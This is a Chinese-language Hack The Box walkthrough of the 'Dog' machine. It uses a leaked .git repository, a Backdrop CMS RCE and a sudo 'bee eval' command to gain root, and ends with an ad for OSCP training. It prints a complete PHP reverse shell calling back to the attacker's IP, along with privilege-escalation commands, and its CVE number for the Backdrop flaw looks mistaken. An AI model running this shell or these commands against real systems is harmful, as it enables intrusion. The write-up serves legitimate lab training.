该靶机需要利用.git泄露,信息收集到邮箱;服务版本;mysql密码,利用backdrop历史漏洞,修改插入反弹shell,找到利用点,然后执行,访问解析路径,提权依旧需要信息收集,利用mysql密码切换用户拿到第一个flag,然后sudo -l发现漏洞点,利用/usr/local/bin/bee提权,找到关键部分,利用eval执行命令生成bash,得到的root账户无回显,exit时才能看见输出结果,猜测flag2位置,于/root
靶机介绍
往期推荐:
burp插件-文件上传一把梭-Upload_Auto_Fuzz
一、信息收集
-
靶机ip:10.10.11.58 -
攻击机ip:10.10.16.19
nmap扫描
nmap -A -v -T4 10.10.11.58
发现一处robots.txt和git泄露 10.10.11.58:80/.git/
设置域名解析
echo"10.10.11.58 dog.htb" |sudo tee -a /etc/hosts
目录扫描
访问主页面,这里可以看见存在用户名,先留着
查看git目录
查看robots.txt
git泄露
这里使用git-dump工具,该工具需要python3.6++环境,这里我使用的是3.9虚拟环境
pip install git-dumper
git-dumper http://10.10.11.58/.git/ ./output #拉取库
查看文件,发现一处settings.php
查看该文件,发现以下信息,一处数据库连接信息
hash盐值
在邮件处发现服务版本号 backdrop 1.27.1
搜索用户邮箱信息
信息如下
$database = 'mysql://root:[email protected]/backdrop'; #数据库密码:BackDropJ2024DS2024 数据库名:backdrop
$settings['hash_salt'] = 'aWFvPQNGZSz1DQ701dD4lC5v1hQW34NefHvyZUzlThQ';
系统版本:backdrop 1.27.1
email:"[email protected]""[email protected]"
登录
二、边界突破
登录之后没有发现什么泄露信息,查看历史漏洞
下载下来,是一个RCE漏洞
查看文件,得到了使用方法
执行该脚本,生成两个文件,shell.info和shell.php
查看一下
修改shell.php,准备反弹shell
<?php
// php-reverse-shell - PHP 中的反向 Shell 实现
// 版权所有 (C) 2007 [email protected]
//
// 本工具仅可用于合法目的。用户对使用本工具所执行的任何操作承担全部责任。
// 作者对因使用本工具而造成的损害不承担任何责任。
// 如果您不接受这些条款,请不要使用本工具。
//
// 在其他方面,适用 GPL 版本 2:
//
// 本程序是自由软件;您可以根据自由软件基金会发布的 GNU 通用公共许可证第 2 版的条款重新分发和/或修改它。
//
// 本程序的分发是希望它能有用,
// 但不提供任何担保;甚至不包括对适销性或特定用途的隐含担保。有关更多详细信息,请参阅 GNU 通用公共许可证。
//
// 您应该已经收到了 GNU 通用公共许可证的副本;如果没有,请写信给自由软件基金会,地址是:
// 美国马萨诸塞州波士顿市富兰克林街 51 号,五楼,邮政编码 02110-1301。
//
// 本工具仅可用于合法目的。用户对使用本工具所执行的任何操作承担全部责任。
// 如果您不接受这些条款,请不要使用本工具。
//
// 鼓励您通过电子邮件发送评论、改进或建议给我:[email protected]
//
// 描述
// -----------
// 此脚本将建立一个到硬编码 IP 和端口的出站 TCP 连接。
// 接收方将获得一个以当前用户(通常是 apache)身份运行的 shell。
//
// 限制
// -----------
// proc_open 和 stream_set_blocking 需要 PHP 版本 4.3+ 或 5+
// 在 Windows 下,使用 stream_select() 处理 proc_open() 返回的文件描述符将失败并返回 FALSE。
// 需要一些编译时选项来实现守护进程(如 pcntl、posix)。这些选项通常不太可用。
//
// 用法
// -----
// 如果您遇到困难,请参阅 http://pentestmonkey.net/tools/php-reverse-shell。
set_time_limit (0);
$VERSION = "1.0";
$ip = "10.10.16.19"; // 更改此项 <攻击者的 IP>
$port = 1234; // 更改此项 监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// 如果可能的话,将自己守护化以避免后续的僵尸进程
//
// pcntl_fork 函数几乎总是不可用,但可以让我们守护化
// 我们的 PHP 进程并避免僵尸进程。值得一试...
if (function_exists('pcntl_fork')) {
// Fork 并让父进程退出
$pid = pcntl_fork();
if ($pid == -1) {
printit("错误:无法 fork");
exit(1);
}
if ($pid) {
exit(0); // 父进程退出
}
// 使当前进程成为会话首领
// 仅在我们成功 fork 时才会成功
if (posix_setsid() == -1) {
printit("错误:无法 setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("警告:守护化失败。这是很常见的,并且不是致命的。");
}
// 切换到安全目录
chdir("/");
// 移除我们继承的任何 umask
umask(0);
//
// 执行反向 Shell...
//
// 打开反向连接
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// 生成 shell 进程
$descriptorspec = array(
0 => array("pipe", "r"), // stdin 是一个子进程将读取的管道
1 => array("pipe", "w"), // stdout 是一个子进程将写入的管道
2 => array("pipe", "w") // stderr 是一个子进程将写入的管道
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("错误:无法生成 shell");
exit(1);
}
// 将所有内容设置为非阻塞
// 原因:偶尔读取会阻塞,即使 stream_select 告诉我们它们不会
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("成功打开反向 shell 到 $ip:$port");
while (1) {
// 检查 TCP 连接是否结束
if (feof($sock)) {
printit("错误:Shell 连接已终止");
break;
}
// 检查 STDOUT 是否结束
if (feof($pipes[1])) {
printit("错误:Shell 进程已终止");
break;
}
// 等待直到通过 $sock 发送命令,或者 STDOUT 或 STDERR 上有一些命令输出可用
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// 如果我们可以从 TCP 套接字读取,则将
// 数据发送到进程的 STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK 读取");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// 如果我们可以从进程的 STDOUT 读取
// 将数据发送到 tcp 连接
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT 读取");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// 如果我们可以从进程的 STDERR 读取
// 将数据发送到 tcp 连接
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR 读取");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// 类似于 print,但如果我们已经守护化则不执行任何操作
// (我无法弄清楚如何像一个真正的守护进程那样重定向 STDOUT)
functionprintit($string){
if (!$daemon) {
print"$stringn";
}
}
?>
找到该页面,发现只允许上传tar,gz,bz2文件
压缩为gz文件
靶机开启监听
重新查看exp,发现上传路径
上传后访问路径http://dog.htb//modules/shell/shell.php,成功反弹
三、权限提升
flag1
先信息收集一些
发现没有python
在home目录下发现user.txt
没有权限查看
果然是root下的
想到之前的数据库密码,尝试登录
拿到第一个flag
flag2
查看网络监听和suid
sudo -l查看
得到了使用方法
翻译过来看看,先找到backdrop根目录
# bee [global-options] <command> [options] [arguments]
全局选项:
--root
指定要使用的Backdrop安装的根目录。如果未设置,将尝试根据当前目录自动查找Backdrop安装。
--site
指定要使用的Backdrop站点的目录名或URL(如“sites.php”中所定义)。如果未设置,将尝试根据当前目录自动查找回退站点。
--base-url
指定回退站点的基本URL,例如https://example.com.对于向网站上的页面输出URL的命令可能很有用。
--yes,-y
在没有提示的情况下回答“是”。
--debug,-d
启用“调试”模式,在该模式下,将显示“调试”和“日志”类型的消息(以及所有其他消息)。
在向下翻阅发现此处:在引导Backdrop后评估(运行/执行)任意PHP代码。
先查看网站源码目录
构造语句
sudo /usr/local/bin/bee --root=/var/www/html eval"echo shell_exec('/bin/sh');"
提权成功
在root根目录下发现flag2
完成目标
四、总结
参考文章:https://samarthdad.com/posts/hackthebox-dog/
参考文章:https://www.cnblogs.com/QiSamaQwQ/p/18792481
知识点
-
需要提前在kali设置好域名解析,否则反弹shell不成功 -
CVE-2020-0651 :Backdrop CMS 1.27.1——经过身份验证的远程命令执行 (RCE) -
/usr/local/bin/bee 提权 -
无回显shell,exit时才有回显,猜测root.txt目录
end
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
资料:
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,网恋避险工具,红盟工具等,还有很多src挖掘资料包
学习交流群
在公众号后台这里选择学习交流即可,如果图片二维码过期,可以加我微信获取
原文始发于微信公众号(泷羽Sec-track):【HTB】dog靶机渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论